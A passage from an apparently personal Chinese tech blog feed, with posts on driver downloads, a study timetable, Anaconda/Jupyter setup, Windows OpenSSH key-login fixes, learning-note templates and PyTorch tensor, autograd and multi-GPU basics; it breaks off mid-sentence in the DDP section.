有的装好系统后没网卡驱动,得手动下个 下载 英特尔® PROSet/无线软件 和 Wi-Fi 驱动程序 主板驱动下载 下载 微星 主板 驱动程序 记得装 NVIDIA 驱动 下载 NVIDIA 驱动程序 lihan的必备软件合集 装机资料 这几段装机的经验来看,小黑盒 贴吧 B站还是很有用的,整理了几个链接: CPU:其实一直是被 265K 洗脑了,没怎么看横测 主板:主要看了 B站 的横测,小志在日本玩电脑-入门级、中端、中高端Z890系列主板参数明细 显卡:主要看了 B站 的横测,51972-RTX5070Ti显卡横评,结合了小黑盒看的各家用料对比图。 内存:主要看了还是看 B站 研究了下 IPO。 电源:主要看了 贴吧 电源吧的推荐表 水冷:主要看了 B站 的横测,51972-2025水冷横评 机箱:h都研究了下,主要还是看审美。 显示屏:看了小黑盒和贴吧的推荐。 装机教程:[硬件茶谈-【装机教程】全网最好的装机教程,没有之一](https://w- ww.bilibili.com/video/BV1BG4y137mG) 笔记本:去笔记本吧找置顶链接

10/6/2025
articleCard.readMore

NWPU 三年时间表

每日 时间 安排 8:10 起床 8:30 到达工位 8:30-9:00 【通信回复】【公事处理】 9:30-12:00 【长期计划学习】 2:00 回到工位 2:00-4:00 【长期计划学习 4:00-5:30 【健身/文体活动】 6:30 回到工位 6:30-8:00 【导师任务/短期计划学习】 8:00-9:30 【课程学习/Marx】 9:30-11:30 【游戏】 11:30-12:00 【洗漱】 12:00 上床睡觉 情况处理 生病:休息为主,可下床活动的话需完成导师任务及课程学习; 娱乐:每周六必须出去玩,其余时间可有一天放松; 上课:下课后继续按时间表进行,不补; 临时任务:急事最快时间立刻完成,缓事按时间表完成; 总计划 研一 完成课内学习,拿到一等奖学金及以上 确定研究方向并完成一篇论文 稳定参加计算机比赛并获省一及以上奖项 健身保持身体健康 吉他学会 春日影 研二 发出一篇一区 联系并加入清北课题组 … 研三 清北博 …

10/4/2025
articleCard.readMore

基于Anaconda的Python环境配置

前言 毕业配了个新机,想着干干净净的环境,Python 干脆也研究下怎么更好地进行版本管理,省的又变得乱七八糟的,于是研究了下,选择了在 Windows 下使用 Anaconda 来配置 Python 环境。 简介与 Conda 选择 Anaconda 是一个开源的 Python 发行版,专为科学计算、数据科学和机器学习等领域设计。它集成了 Python 解释器、常用的科学计算库(如 NumPy、Pandas、Matplotlib 等)以及包管理工具 conda。Anaconda 提供了一个易于使用的环境管理和包管理系统,使得用户可以轻松地创建和管理不同的 Python 环境。 Conda(Miniconda和Anaconda都包含此命令,用来管理虚拟环境): Conda是一个开源的包管理系统和环境管理系统,用于安装多种语言的软件包。虽然它是为Python程序创建的,但它也可以用于其他语言,比如R,Scala,Java,JavaScript,C/ C++等。Conda允许你创建、导出、列出、删除和更新包含多个环境的Python版本,这对于处理具有不同依赖关系的多个项目特别有用。 Miniconda(默认环境只有Python和Conda,自定义安装其他包,使用时需要激活虚拟环境): Miniconda是Anaconda的轻量级版本,只包含了Python和Conda,以及它们的依赖项。Miniconda的优点是其小巧且快速,用户可以自行选择并安装他们需要的软件包。 Anaconda(还集成了科学计算和深度学习相关包,创建新的虚拟环境中不会使用这些包(新虚拟环境只有指定的python版本,需要安装其他东西,除非命令中指定虚拟环境复制默认环境,相关命令为’conda create –name myenv –clone base’),适合在默认环境或者系统变量中使用Anaconda的人): Anaconda是一个非常流行的Python发行版,用于科学计算。它包含了conda、Python和超过150个科学软件包及其依赖项。Anaconda的目标是简化包管理和部署。Anaconda适合那些希望一次性安装所有东西的用户。 如果使用conda搭建虚拟运行环境,无所谓这三个,因为都需要定制虚拟环境,安装也不费劲。 看完以上还不知道安装哪个?–>安装Anaconda,它除了安装包大,没其他缺点。 From conda、miniconda、anaconda之间有什么关系? - Ridge的回答 - 知乎 注意: anaconda.com 是 Anaconda 的官方网站,提供了 Anaconda 的下载、文档和支持信息。 anaconda.org 是 Anaconda 的包仓库,提供了大量的开源软件包和库,可以通过 conda 命令轻松安装。 Anaconda 安装 访问 Anaconda 官网下载 下载 Anaconda 安装包。 运行安装包,按照提示进行安装。 添加环境变量 在安装过程中,选择“将 Anaconda 添加到系统 PATH 环境变量”选项(如果没有这个选项,可以手动添加)。 如果没有添加,可以手动将 Anaconda 的安装路径(如 C:\ProgramData\anaconda3\Scripts\ )添加到系统的 PATH 环境变量中。 验证安装 打开命令提示符(CMD)或 PowerShell,输入以下命令验证 Anaconda 是否安装成功: 1 2 conda --version anaconda --version 激活 Anaconda 环境 在命令提示符或 PowerShell 中输入以下命令激活 Anaconda 环境: 1 conda activate base 命令行会增加 (base) 前缀,表示 Anaconda 的基础环境已激活。 若提示需 conda init ,输入以下命令: 1 conda init 报错:. : 无法加载文件 xxx.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅 http s:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies。 原因:conda init 命令会在 PowerShell 的执行策略默认禁止运行脚本。 解决方法:打开 PowerShell,以管理员身份运行以下命令: 1 Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned 注意————PowerShell脚本 ExecutionPolicy: Windows PowerShell 默认禁止执行脚本,除非设置了合适的执行策略。 查看当前执行策略: 1 Get-ExecutionPolicy -List 设置执行策略为 RemoteSigned(允许本地脚本运行,远程脚本需要签名): 1 Set-ExecutionPolicy RemoteSigned 策略等级 Restricted:不允许任何脚本运行。 AllSigned:只允许签名的脚本运行。 RemoteSigned:允许本地脚本运行,远程脚本需要签名。 Unrestricted:允许所有脚本运行,但会提示警告。 Bypass:不进行任何限制,允许所有脚本运行。 策略执行范围 Process:仅对当前 PowerShell 会话有效。 CurrentUser:仅对当前用户有效。 LocalMachine:对所有用户和系统范围有效。 UserPolicy:仅对当前用户的组策略有效。 MachinePolicy:对所有用户的组策略有效。 参考:PowerShell 脚本执行策略 常用命令 创建虚拟环境 默认 base 环境 在 Anaconda 中,默认创建的环境是 base 环境。可以直接使用 conda activate base 命令激活。 默认状态下,进入命令行时会自动激活 base 环境。 conda config --set auto_activate false 可以关闭自动激活 base 环境。

9/28/2025
articleCard.readMore

深度学习相关 Python 学习笔记

深度学习相关 Python 实操笔记 1. 简单介绍 Python 简洁易读,生态丰富 常用库:NumPy / Pandas / Matplotlib / PyTorch / TensorFlow 示例:print("Hello Deep Learning") Jupyter Notebook 网页端交互式开发环境 支持代码 + Markdown + 可视化 示例:运行单元格 Shift + Enter Jupyer Lab 高级版 Jupyter Notebook 多标签页、分屏 可以同时打开 Notebook、终端、文本文件、CSV、图像等 更像 IDE(集成开发环境) 支持插件扩展 NumPy 科学计算核心库 对象:ndarray 多维数组 功能:线性代数、随机数、矩阵运算 示例:import numpy as np; a = np.array([1,2,3]) Pandas 数据分析工具,基于 NumPy 结构:Series(1D),DataFrame(2D) 功能:清洗、筛选、分组、透视、读写 CSV/Excel 示例:import pandas as pd; df = pd.read_csv("data.csv"); df.head() Matplotlib 基础绘图库 图表:折线、柱状、散点、直方图等 高度可定制,科研常用 示例:import matplotlib.pyplot as plt; plt.plot([1,2,3],[4,5,6]); plt.show() Seaborn 高级统计可视化库(基于 Matplotlib) 特点:更美观,代码更简洁 图表:热力图、分布图、箱线图、回归图 示例:import seaborn as sns; sns.set(); sns.histplot([1,2,2,3,3,3,4]) 2. 前置技术依赖 Anaconda 3. 环境配置 3.1 Jupter notebook/Jupyter lab 安装 Anaconda 后,一般会默认安装 Jupyter notebook 和 Jupyter lab ,若没有安装,使用以下命令安装: 1 2 conda install jupyter notebook # Jupyter notebook conda install -c conda-forge jupyterlab # Jupyter lab 之后使用 jupyter notebook --version 和 jupyter lab --version 测试安装成功。 3.2 numpy pandas matplotlib seaborn 安装 1 conda install numpy pandas matplotlib seaborn 4. 基础用法 3.1 Jupter notebook/Jupyter lab 启动 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # jupyter notebook ## 启动并打开浏览器 jupyter notebook ## 启动不打开浏览器 jupyter notebook --no-browser ## 自定义端口打开 jupyter notebook --port <port_number> # jupyter lab ## 启动并打开浏览器 jupyter lab ## 启动不打开浏览器 jupyter lab --no-browser ## 自定义端口打开 jupyter lab --port <port_number> 配置 config 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # jupyter notebook ## 生成配置文件 jupyter_notebook_config.py jupyter notebook --generate-config ### 一般默认生成在 C:\Users\[username]\.jupyter\ 下 ## 修改默认工作目录 ### 取消注释 jupyter_notebook_config.py 中的配置,并填写工作目录 c.ServerApp.root_dir = 'D:\\bin\\jupyter' # jupyter lab ## 生成配置文件 jupyter_lab_config.py jupyter lab --generate-config ### 一般默认生成在 C:\Users\[username]\.jupyter\ 下 ## 修改默认工作目录 ### 取消注释 jupyter_lab_config.py 中的配置,并填写工作目录 c.ServerApp.root_dir = 'D:\\bin\\jupyter' 虚拟环境兼容 Anaconda 的 Kernel 默认配置下,Anaconda安装的虚拟环境和Jupyter Notebook运行需要的Kernel并不互通。 1 2 3 4 5 6 7 8 # 在 Anaconda 创建的拟环境添加 ipykernel ## 如果还没创建环境,在创建时要加上ipykernel conda create -n env_name python=3.8 ipykernel ## 如果已经创建环境,在环境中安装ipykernel pip install ipykernel ## 将特定 Conda 环境注册为 jupyter 内核 python -m ipykernel install --user --name env_name --display-name "env_name" 基本操作 重命名文件:当文件在运行时(即文件前图标为绿色),需要先点击“Shutdown”(关闭终端),再点击“Rename” Jupyter notebook Jupyter Notebook中按下Enter进入编辑模式,按下Esc进入命令模式 编辑模式(绿色) 命令模式(蓝色) 1 2 3 4 5 6 7 入门操作 # 新增上一行,新增下一行,剪切,保存,删除等 # a, b, x, s, dd # 合并,执行本单元代码,并跳转到下一单元,执行本单元代码,留在本单元 # Shift+M Shift+Enter Ctrl+Enter # 显示行数,切换markdown/code # l, m/y Jupyter Lab Jupyter Lab同样有两种模式。按下Enter进入编辑模式,按下Esc进入命令模式 编辑模式(有框线无光标) 命令模式(无框线无光标) 快捷键操作与Jupyter Notebook基本相同,可参考上一部分 安装插件 可省略 插件推荐 jupyterlab-execute-time:可以显示执行一个Cell要花费多少时间 jupyterlab-lsp:提供代码补全功能 进阶操作 进阶操作 3.2 numpy pandas matplotlib seaborn 常用 import 1 2 3 4 5 import numpy as np import pandas as pd from pandas import DataFrame,Series import matplotlib as mpl import matplotlib.pyplot as plt numpy numpy 中文文档 A Visual Intro to NumPy and Data Representation pandas 交互的Python:数据分析入门-第 8 章 Pandas 入门 10 minutes to pandas matplotlib 第一回:Matplotlib初相识 快速入门指南 5. 常见问题与解决办法 6. tips jupyter lab 插件系统现在直接自带 不用额外下载 注意 numpy 和 pandas 中的视图机制会导致数组等变量出现深浅拷贝的情况,浅拷贝下,数据会随着原数据变化 7. 参考资料 Jupyter notebook/Lab 简述————深入浅出PyTorch Jupyter notebook/Lab 进阶操作 numpy 中文文档 A Visual Intro to NumPy and Data Representation

9/25/2025
articleCard.readMore

新晴

新晴 秋雨连日洗青山, 新晴却见秦岭茫。 万差缠身炼真色, 贪床罕起再做人。 ———— 2025.09.25 于 emo山脚 小记 好几天午后才起床了,一直说早睡早起。直到今天被门外施工吵醒才在8.多起来一次,希望能坚持吧。

9/25/2025
articleCard.readMore

论文阅读_2025_A survey on state-of-the-art deep learning applications and challenges

前言 选修了 深度学习中的数学理论 这门课程,不仅在数学上对我是一个挑战,老师还要求分享文献阅读,遂仓促开始了论文阅读的尝试。 随手一搜,找到了一篇看起来比较合适的论文:A survey on state-of-the-art deep learning applications and challenges,是深度学习的一篇很新综述,总结了深度学习在各个领域的应用现状及面临的挑战。 论文信息 论文标题:A survey on state-of-the-art deep learning applications and challenges 作者:Mohd Halim Mohd Noor, Ayokunle Olalekan Ige 发表会议:Engineering Applications of Artificial Intelligence 论文链接:https://www.sciencedirect.com/science/article/pii/S0952197625012266

9/20/2025
articleCard.readMore

Windows 下 ssh 连接问题

问题 使用 ssh 连接 windows 服务器时,经常遇到一些问题,特别是配置免密登录时。 解决 确认 ssh 服务已启动 确认在 windows 上已安装并启动了 ssh 服务 在 设置-系统-可选功能 中确认已安装 OpenSSH 服务器 在 服务 中确认 OpenSSH SSH 服务器 已启动 确认防火墙已放行 22 端口 在 控制面板-系统和安全-Windows 防火墙-高级设置 中,确认 入站规则 中已放行 22 端口 确认配置文件 sshd_config 配置正确 配置文件路径:C:\ProgramData\ssh\sshd_config 确认以下配置项已取消注释并配置正确: 1 2 3 PubkeyAuthentication yes AuthorizedKeysFile .ssh/authorized_keys RSAAuthentication yes 确认用户目录下的 .ssh 目录和 authorized_keys 文件权限正确 目录路径:C:\Users\你的用户名\.ssh 注意 若不成功,检查sshd_config中是否有: 1 2 Match Group administrators AuthorizedKeysFile __PROGRAMDATA__/ssh/administrators_authorized_keys 这会覆盖默认的AuthorizedKeysFile配置 因此根据配置,管理员用户的公钥文件应放在C:\ProgramData\ssh\administrators_authorized_keys中 将公钥内容复制到administrators_authorized_keys文件中,重启 ssh 服务即可

9/18/2025
articleCard.readMore

深度学习学习笔记

深度学习学习笔记 1. 基础概念 1.1 介绍 1.2 相关概念 2. 学习路线规划 阶段 学习目标 依赖 技术工具 [x] 基于 Python 的基本数据处理与可视化 基于Anaconda的Python环境配置、深度学习相关 Python 学习笔记-Jupyter Numpy Pandas Matplotlib Seaborn [x] 基于 Github 的代码版本管理 Git 详细攻略 Ubuntu上配置使用git gitcommit规范 基于 LaTex 的学术写作 TeXstudio、LaTeX 入门教程 基于 PyTorch / TensorFlow 的深度学习框架入门 PyTorch 学习笔记、TensorFlow 教程、CUDA 基于 Linux 的深度学习环境搭建 Linux 基础命令、环境配置教程 基于 hugging Face 的模型下载与使用 Hugging Face 官方文档、Transformers 库教程 MCP 定制化 API 学习 MCP 官方文档、定制化 GPT API 使用教程 基础知识 数学 线性代数 《线性代数的本质》、微积分、概率论与统计 产出学习 学会发布论文与项目展示 LaTeX、arXiv 投稿流程、网页模板 参与开源项目,提升协作与实战能力 GitHub、开源项目推荐 复现论文实验,开发部署调试模型 论文复现教程、动手学机器学习、斯坦福CS229 参与竞赛 Kaggle 3. 技术依赖 4. 相关资料链接 研一深度学习入门-zhihu 大一深度学习入门-zhihu 《动手学深度学习》 5. 学习过程记录 2025-09-14 搜集资料,制定学习计划 2025-09-15 python: annoconda jupyter 2025-9-27 python: Numpy Pandas Matplotlib Seaborn 2025-9-28 pytorch: 2025-10-31 pytorch:张量、自动求导 2025-11-01 pytorch:并行计算、基础线性代数 2025-11-02 pytorch:神经网络基础

9/14/2025
articleCard.readMore

guide系列学习笔记

前言———— guide 系列学习笔记 从这篇帖子开始,我计划设计并沿用新的模式来记录 guide 类的学习笔记。 为什么要设计新的模式? 过去的技术贴中普遍存在以下问题: 笔记内容零散,缺乏系统性和连贯性,仅为具体代码用法的备忘 缺乏统一的格式和结构,阅读体验不佳 想到什么学什么的习惯难以进行一种新的技术的系统性学习 新的模式 我希望统一出一个学习笔记系列的模板主要有以下功能: 继承之前帖子的备忘学习和开发查阅; 为了系统性学习,加强各个技术开发贴之间的联系,设计两种模板: a. 【方向A】的系统学习记录,例如 深度学习 学习笔记; b. 【具体技术 I】的开发实操学习记录。a类帖子是系统性学习一个方向的主体,a中会链接到若干个其方向依赖的技术的b类帖子。ab类帖子的关系为多对多,即b类帖子可被重复链接。 具体模板 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 --- title: 【I方向】 系统学习笔记 # 修改为方向名称 description: 系统性学习记录【I方向】,包含概念辨析、路线、依赖、资料与学习过程 slug: notes_A_I date: 2025-09-14 00:00:00+0800 image: imgs/avatar.png # 可改 categories: - techStudy tags: - 【I方向】 - guide_A hidden: false comments: true draft: false # math: # license: #weight: 1 # light forward; heavy backward #links: # - title: # description: # website: # image: #password: op #passwordPoint: 这篇推文太_ _了 --- # 【I方向】 学习笔记 ## 1. 基础概念 ### 1.1 介绍 ### 1.2 相关概念 --- ## 2. 学习路线规划 | 阶段 | 学习目标 | 依赖 | |------|------|-------------------| | **基础阶段** | 熟练使用 Python,掌握数据结构与函数式编程 | [Python 基础笔记](/posts/python_notes/),《Python编程:从入门到实践》 | | | 线性代数(矩阵运算、特征值)、微积分(偏导数、链式法则)、概率统计 | [NumPy 学习记录](/posts/numpy_notes/),3Blue1Brown 视频系列 | | | Git 基础操作,Jupyter Notebook,虚拟环境管理(conda) | [Git 实操笔记](/posts/git_notes/),官方文档 | | **进阶阶段** | 熟悉 PyTorch 的张量操作、自动微分、nn.Module | [PyTorch 实操笔记](/posts/pytorch_notes/),PyTorch 官方教程 | | | 理解感知机、MLP,掌握 CNN、RNN 的基本结构与实现 | CS231n 视频课程,论文:《LeNet》《AlexNet》 | | | 学会数据增强、正则化、学习率调度,能处理过拟合 | [数据增强笔记](/posts/data_aug_notes/) | | **应用阶段** | 能独立完成一个分类/回归任务(图像/文本) | Kaggle 入门项目,fast.ai 实战课程 | | | 掌握模型保存与加载,使用 Docker 部署推理服务 | [Docker 实操笔记](/posts/docker_notes/),《Hands-On Machine Learning》 | | | 阅读 Transformer 相关论文,复现小规模实验 | 《Attention is All You Need》,[Hugging Face 笔记](/posts/hf_notes/) | --- ## 3. 技术依赖 - [Python 基础笔记](/posts/python_notes/) - [NumPy 学习记录](/posts/numpy_notes/) - [PyTorch 实操笔记](/posts/pytorch_notes/) --- ## 4. 相关资料链接 - [Deep Learning 官方书籍](https://www.deeplearningbook.org/) - [Stanford CS231n 课程](http://cs231n.stanford.edu/) - [优秀博客A](https://xxx) --- ## 5. 学习过程记录 ### 2025-09-14 - 学习完绪论,整理了基础概念 ### 2025-09-20 - 完成第一个 CNN 实验,遇到梯度消失问题,使用 ReLU 解决 --- 0_方向系统学习记录模板A 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 --- title: 【x技术】 学习笔记 # 修改为方向名称 description: 学习记录【x技术】,记录开发学习过程 slug: notes_B_x date: 2025-09-14 00:00:00+0800 image: imgs/avatar.png # 可改 categories: - techStudy tags: - 【x技术】 - guide_B hidden: false comments: true draft: false # math: # license: #weight: 1 # light forward; heavy backward #links: # - title: # description: # website: # image: #password: op #passwordPoint: 这篇推文太_ _了 --- # PyTorch 实操笔记 ## 1. 简单介绍 - PyTorch 是一个深度学习框架,主要用于研究和生产环境 - 常见应用场景:图像识别、自然语言处理、生成模型 --- ## 2. 前置技术依赖 - [Python 基础笔记](/posts/python_notes/) - [NumPy 学习记录](/posts/numpy_notes/) --- ## 3. 环境配置 ```bash conda create -n dl python=3.10 conda install pytorch torchvision torchaudio -c pytorch 4. 基础用法示例 1 2 3 import torch x = torch.rand(5, 3) print(x) 5. 常见问题与解决办法 显存不足 → 使用 torch.cuda.empty_cache() 或减小 batch size 安装版本冲突 → 确认 CUDA 版本与 PyTorch 官方对应表 6. 实战经验 使用 DataLoader 提升数据处理效率 训练时使用 tensorboard 可视化 loss 和 accuracy 7. 参考资料 PyTorch 官方文档 fast.ai 课程 1 2 - [0_技术工具学习记录模板B](https://lihan3238.github.io/p/notes_B_x)

9/14/2025
articleCard.readMore

【I方向】 系统学习笔记

【I方向】 学习笔记 1. 基础概念 1.1 介绍 1.2 相关概念 2. 学习路线规划 阶段 学习目标 依赖 技术工具 熟练使用 Python Python 基础笔记 基础知识 了解代码仓库与知识库的基本概念 Git、GitHub、GitLab、Notion 产出学习 掌握团队协作与任务管理方法 GitLab CI/CD、项目管理工具 3. 技术依赖 Python 基础笔记 4. 相关资料链接 Deep Learning 官方书籍 5. 学习过程记录 2025-09-14 学习完绪论,整理了基础概念 2025-09-20 完成第一个 CNN 实验,遇到梯度消失问题,使用 ReLU 解决

9/14/2025
articleCard.readMore

【x技术】 学习笔记

【x技术】 实操笔记 1. 简单介绍 PyTorch 是一个深度学习框架,主要用于研究和生产环境 常见应用场景:图像识别、自然语言处理、生成模型 2. 前置技术依赖 Python 基础笔记 3. 环境配置 4. 基础用法 5. 常见问题与解决办法 6. tips 7. 参考资料 PyTorch 官方文档

9/14/2025
articleCard.readMore

PyTorch 学习笔记

PyTorch 实操笔记 1. 简单介绍 PyTorch 是一个深度学习框架,主要用于研究和生产环境 由Meta AI(Facebook)人工智能研究小组开发的一种基于Lua编写的Torch库的Python实现的深度学习库,目前被广泛应用于学术界和工业界,相较于Tensorflow2.x,PyTorch在API的设计上更加简洁、优雅和易懂。 2. 前置技术依赖 Anaconda Python Jupyter 3. 环境配置 查看显卡 cuda 版本 1 2 # windows 命令行中输入命令查看显卡信息 nvidia-smi PyTorch 向下兼容 CUDA 版本,根据 CUDA 版本安装合适的 PyTorch 版本: 显卡的受支持情况 安装或更新 CUDA 2.1 通过官网安装 CUDA 在 CUDA 官网 下载并安装合适版本的 CUDA 2.2 Conda 安装 CUDA 工具包 这种方式可以为每个 Conda 环境单独安装 CUDA 版本,避免版本冲突 1 2 3 4 5 6 7 8 # CUDA conda install cuda -c nvidia # 指定版本安装,例如安装 CUDA 11.8.0 conda install cuda -c nvidia/label/cuda-11.8.0 # 安装完成后,使用以下命令测试安装成功 nvcc -V 安装 PyTorch 根据官网提供的安装命令安装 PyTorch 1 2 3 4 5 6 7 8 9 10 11 # 示例:安装带有 CUDA 13.0 支持的 PyTorch pip3 install torch torchvision --index-url https://download.pytorch.org/whl/cu130 # 验证 CUDA PyTorch import torch print(torch.__version__) print(torch.version.cuda) print(torch.backends.cudnn.version()) print(torch.cuda.is_available()) print(torch.cuda.get_device_name(0)) 4. 基础用法 4.1 张量 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 # 张量创建 ## 使用数据创建 data = [[1, 2], [3, 4]] x_data = torch.tensor(data) ##使用 NumPy 数组创建 np_array = np.array(data) x_np = torch.from_numpy(np_array) ## 使用已有张量创建 x_ones = torch.ones_like(x_data) # retains the properties of x_data x_rand = torch.rand_like(x_data, dtype=torch.float) # overrides the datatype of x_data ## 通过随机或常量创建 shape = (2, 3,) rand_tensor = torch.rand(shape) # [0,1]随机分布 rand_tensor = torch.randn(shape)# 正态分布 ones_tensor = torch.ones(shape) zeros_tensor = torch.zeros(shape) # 张量属性 tensor = torch.rand(3, 4) print(f"Shape of tensor: {tensor.shape}") print(f"Datatype of tensor: {tensor.dtype}") print(f"Device tensor is stored on: {tensor.device}") 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 # 张量操作 ## 移动到 GPU(如果可用) if torch.cuda.is_available(): tensor = tensor.to("cuda") print(f"Device tensor is stored on: {tensor.device}") ## 加法操作 import torch x = torch.rand(4, 3) y = torch.rand(4, 3) # 方式1 print(x + y) # 方式2 print(torch.add(x, y)) # 方式3 in-place,原值修改 y.add_(x) print(y) ## 索引操作 # 取第二列 y-x[0,:] y+=1 # 源 tensor 也被修改 操作 是否创建新张量 是否共享内存 是否原地修改 备注 b = a ❌ ✅ ❌ 仅复制引用 b = a.clone() ✅ ❌ ❌ 深拷贝,新建 b.copy_(a) ❌ ❌ ✅ 原地复制数据 b = a[:] ✅ ✅ ❌ 浅拷贝(切片共享内存) b = a[[0, 2]] ✅ ❌ ❌ 花式索引,深拷贝 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ## 维度变换 # torch.view() 新建视图张量,和原张量共享内存 x = torch.randn(4, 4) y = x.view(16) # 展平为一维张量 z = x.view(-1, 8) # 自动计算行数,列数为8 自动计算为(2,8) # 先 clone 再 view,避免共享内存 x = torch.randn(4, 4) y = x.clone().view(16) # 展平为一维张量 # clone操作会被记录在计算图中,梯度回传到副本时也会传到源 Tensor ## 取值操作 # 可以使用 .item() 来获得这个 value,而不获得其他结构 x = torch.randn(1) print(type(x)) # tensor print(type(x.item())) # float 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ## 广播机制 # 当对两个形状不同的 Tensor 按元素运算时,可能会触发广播(broadcasting)机制:先适当复制元素使这两个 Tensor 形状相同后再按元素运算。 x = torch.arange(1, 3).view(1, 2) print(x) y = torch.arange(1, 4).view(3, 1) print(y) print(x + y) #output: tensor([[1, 2]]) tensor([[1], [2], [3]]) tensor([[2, 3], [3, 4], [4, 5]]) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ## 节省内存 before = id(Y) # id() 函数获取内存地址 Y = Y + X id(Y) == before # False # Y 已经被重新分配了内存 # 原地操作,节省开销 ## 切片 before = id(X) X[:] = X + Y # or X += Y id(X) == before # True 内存地址未变 4.2 自动求导 PyTorch 中,所有神经网络的核心是 autograd 包。autograd包为张量上的所有操作提供了自动求导机制。它是一个在运行时定义 ( define-by-run )的框架,这意味着反向传播是根据代码如何运行来决定的,并且每次迭代可以是不同的。 1 2 3 4 5 6 7 8 # 设置 torch,Tensor 的 requires_grad 属性为 True ,表示需要计算梯度 x = torch.ones(2, 2, requires_grad=True) # 调用 .backward() 进行反向传播 计算所有梯度,并累加到 .grad 属性中 y = x + 2 z = y * y * 3 out = z.mean()# 计算均值 out.backward() print(x.grad) # [[4.5, 4.5], [4.5, 4.5]] 只有标量函数(即输出为单个元素的张量)的 .backward() 方法才能被调用。如上例中,out 为 z 的均值,z 中每一个元素对 out 的梯度贡献均等,因此 x.grad 中的元素均为 18/4=4.5 。 1 2 3 4 5 6 7 8 # .detach() 方法 分离目标张量出计算图,防止跟踪,阻断反向传播 x = torch.randn(3, requires_grad=True) y = x * 2 z = y.mean() # 分离 z 出计算图 z_detached = (z.detach())+1 z_detached.backward() # 报错,z_detached 不在计算图中 1 2 3 4 5 6 7 ## Function 类 # Function 对象表示一个张量操作,并且知道如何计算该操作的前向传播和反向传播。它们与张量通过 `grad_fn` 连接。 x = torch.randn(3, requires_grad=True) y = x + 2 print(y.grad_fn) # <AddBackward0 object at ...> z = y * y * 3 print(z.grad_fn) # <MulBackward0 object at ...> 1 2 3 4 5 6 7 8 9 10 11 ## 梯度清零 # 默认情况下,每次调用 .backward() 时,梯度会累加到 .grad 属性中。因此,在反向传播之前,通常需要将梯度清零。 x = torch.randn(3, requires_grad=True) y = x.sum() y.backward() print(x.grad) # 输出梯度 tensor([1., 1., 1.]) z=y*2 x.grad.zero_() # 清零 z.backward() print(x.grad) # tensor([2., 2., 2.]) # 如果不清零 累加为 tensor([3., 3., 3.]) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ## 雅可比矩阵向量积 # 对于非标量输出,可以通过向 .backward() 传递一个与输出形状相同的张量来计算雅可比矩阵向量积(Jacobian-vector product)。 x = torch.randn(3, requires_grad=True) print(x) y = x * 2 i = 0 while y.data.norm() < 1000: y = y * 2 i = i + 1 print(y) print(i) v = torch.tensor([0.1, 1.0, 0.0001], dtype=torch.float) y.backward(v) print(x.grad) # output: tensor([5.1200e+01, 5.1200e+02, 5.1200e-02]) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ## no_grad 环境 # 在 `with torch.no_grad()` 环境中,所有计算都不会被跟踪 print(x.requires_grad) print((x ** 2).requires_grad) with torch.no_grad(): print((x ** 2).requires_grad) # output: True True False ## 修改 tensor 的数值,不被 autograd 记录(即不会影响反向传播), 则对 tensor.data 进行操作: x = torch.ones(1,requires_grad=True) print(x.data) # 还是一个tensor print(x.data.requires_grad) # 但是已经是独立于计算图之外 y = 2 * x x.data *= 100 # 只改变了值,不会记录在计算图,所以不会影响梯度传播 y.backward() print(x) # 更改data的值也会影响tensor的值 print(x.grad) # output: tensor([1.]) False tensor([100.], requires_grad=True) tensor([2.]) 4.3 并行计算 CUDA 我们可以使用 .cuda() 方法将模型、张量或数据移动到 GPU 上进行计算: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 # 选择指定显卡 import os os.environ["CUDA_VISIBLE_DEVICES"] = "0" # 设置默认使用的 GPU 设备为 0 号 ## 使用 0,1 号两块显卡 CUDA_VISIBLE_DEVICES=0,1 python your_code.py # os.environ["CUDA_VISIBLE_DEVICES"] = "0,1" # 将模型移动到 GPU model = MyModel() model.cuda() # 或者 model.to('cuda') # 将张量移动到 GPU tensor = tensor.cuda() # 或者 tensor.to('cuda') for image,label in data_loader: image = image.cuda() label = label.cuda() # 将图像和标签移动到 GPU 上进行训练 # 多卡训练 ## 单机多卡 DP DataParallel model = Net() model.cuda() # 模型显示转移到CUDA上 if torch.cuda.device_count() > 1: # 含有多张GPU的卡 model = nn.DataParallel(model) # 单机多卡DP训练 # 指定使用的GPU卡号 model = nn.DataParallel(model, device_ids=[0,1]) # 使用第0和第1张卡进行并行训练 #通过DP进行分布式多卡训练的方式容易造成负载不均衡,有可能第一块GPU显存占用更多,因为输出默认都会被gather到第一块GPU上。 ## 多机多卡 DDP DistributedDataParallel ## 针对每个GPU,启动一个进程,然后这些进程在最开始的时候会保持一致(模型的初始化参数也一致,每个进程拥有自己的优化器),同时在更新模型的时候,梯度传播也是完全一致的,这样就可以保证任何一个GPU上面的模型参数就是完全一致的,所以这样就不会出现DataParallel那样显存不均衡的问题。 ## GROUP:进程组,默认情况下,只有一个组,一个 job 即为一个组,也即一个 